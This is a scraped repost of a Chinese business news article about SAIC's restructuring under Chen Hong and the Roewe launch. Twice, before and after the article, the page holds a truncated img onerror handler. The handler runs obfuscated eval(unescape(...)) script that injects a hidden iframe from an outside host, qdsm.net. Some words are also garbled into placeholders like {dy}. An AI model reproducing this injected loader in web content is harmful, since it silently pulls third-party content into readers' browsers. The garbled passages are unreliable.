大众式生产通用式营销陈虹再组阁:大众通用背景受宠- 网上银行 ...
大众式生产通用式营销 陈虹再组阁:大众通用背景受宠 [转贴 2010-05-01 14:06:39]   
大众式生产通用式营销 陈虹再组阁:大众通用背景受宠

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

    10月12日,上汽基于罗孚平台的自主品牌"荣威"正式发布。上汽股份总裁陈虹携上汽汽车制造有限公司(简称上汽汽车)现任总经理王晓秋,上汽汽车分管营销的副总蒋峻出现。

      王晓秋和蒋峻,分别来自上汽集团旗下的两家合资企业——上海大众和上海通用,上汽收购罗孚平台技术后,这两位被委派负责自主品牌业务。

      上汽股份整体上市仍在紧锣密鼓地部署之中。按照上汽集团之前的设想:集团整体上市审批通过后,自主整车汽车企业——上汽汽车——将被取消独立法人资格,作为核心制造业务部门被纳入上汽股份整体上市的资产中。

      为了避免流程的繁琐,整体上市后,上海汽车(集团)股份有限公司(原上汽股份)的名称和简称将不再使用,统一使用中文名称——上海汽车股份有限公司(上海汽车600104的公司名称),英文名称和简称统一使用"SAICA MOTOR上海汽车"。

      发布会当天,"SAICA MOTOR上海汽车"新的标识,已经跃然纸上。

      上汽股份职能再造

      今年8月29日,上海汽车整体上市方案出炉。据当日公告的<发行股份购买资产暨关联交易报告书(草案)>(以下简称<草案>),上海汽车将向上汽股份定向增发32.75亿股,置出15家非关键零部件企业,购入上汽股份旗下16家整车生产、研发及销售企业的资产。

      定向增发完成后,上海汽车总经理将直接由陈虹担任,原总经理赵凤高将调至上汽集团分管集团下属零部件业务。

      此次定向增发后,由于将非关键零部件业务的资产为对价,上汽集团将拥有除了"三大件"零部件企业外的所有上汽的非关键零部件业务。

      "另外上汽汽车未来也将注销法人资格,仅仅成为上汽股份旗下的整车制造部门,上汽股份和上汽制造也将从两套班子过渡到一套班子。"有知情人士透露。

      注销上汽汽车法人资格,陈虹最直接的目的是——让上汽股份成为经营实体。上汽汽车目前的股权结构是,上汽股份占60%,上海汽车占40%,再购入60%股权后上海汽车将全资拥有上汽汽车。上汽股份虽然是上海汽车的控股股东,但是由于业务都在上海汽车名下,所以实际扮演的只是投资者的角色。

      作为上汽股份的全资子公司,上汽汽车如果依然作为一个单独法人独立运作,不仅使母公司上汽股份出现只有投资收益没有销售收入的报表,引起不知情投资者的不解,两套独立的管理体系,也不利于成本优化。

      上汽股份与上汽汽车合二为一势在必行,陈虹的另一个考虑是政策因素。本报记者从上海市政府了解到,在上海市{zx1}颁布的中长期科技规划中,研发投入可按150%抵扣所得税,但前提是企业必须是一个经营实体。

      大众和通用背景

      一旦撤销上汽汽车法人资格,陈虹将成为上汽自主品牌汽车的总经理,直接管理包括工厂、采购、规划、研发、市场等各个部门。

      据上汽内部人士透露,最近陈虹正陆续从上海通用和上海大众抽调了20多位管理中高层,补充到新更名的上海汽车。随着一系列人事到位,陈虹的用人策略也将逐步清晰。

      如果不出意外,现任泛亚汽车技术中心有限公司执行副总经理高卫明,将成为上汽工程院院长。上汽之所以选择高卫明,除了他本身所具备的科班出身的技术和经验,还有他在泛亚3年多的经历。

      成功收购罗孚两款车型后,上汽股份在这两款车的基础上,制订了一个庞大的产品后续开发计划——5年推出30款车。"上汽每一款新车开发,未来将在英国利卡多2010、韩国双龙汽车研究院和上汽工程院实现联动开发。"陈虹介绍。

      这一模式实际上是参照了通用在全球的联合开发模式,而上汽工程院作为开发链中的一部分,与泛亚在全球开发链中的作用一脉相承。在高卫明之前,上汽股份已经聘请了来自通用汽车的汪大总分管技术。

      大众和通用背景在上汽股份新人事中扮演越来越重要角色,业内人士认为,这是陈虹希望借助上海大众的制造水平和上海通用的营销经验来提升自主品牌品质的具体做法。

      陈虹从上海大众起步,成名在上海通用。陈虹个人认为,在上汽的两家合资企业中,上海大众和上海通用各有所长。代表德国车的上海大众更注重品质,以品质制胜;而上海通用的营销能力,在中国整个汽车行业也是罕见的。

      荣威{dy}步

      上汽成功收购罗孚技术之后,福特9月18日突然宣布行使ROVER品牌优先收购权。失去了关键的罗孚品牌使用权,上汽自主品牌失去了直接移植ROVER的机会。

      上汽自主品牌汽车要在2010年形成年产整车25万辆和发动机30万台的规模。这个规模相当于,在不到四年的时间里再造一个上海大众。

      今年年初上汽汽车挂牌成立时,上汽汽车总经理王晓秋曾透露,上汽自主品牌的定位是低成本打造国际品牌轿车。上汽汽车缩编成制造部门后。王晓秋在生产上将充分利用上海大众的成熟配套供应体系。

      在荣威的市场营销上,陈虹目前主要依赖上海通用。据峻透露,上汽汽车目前的销售网点已经有68家,年底新车荣威上市时能建好的有50家。这其中90%都是上海通用的网络。

      "{dy}款新车在ROVER75的基础上进行了全新改进,下一款车W261就已经是我们全新开发的新车了。"陈虹说这话的含义是,在短短一年多的时间里,上汽已经摆脱了简单的"依样画葫芦"的时代。

     



0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_200_200.html%20width%3D200%20height%3D200%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【大众式生产通用式营销陈虹再组阁:大众通用背景受宠- 网上银行 ...】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——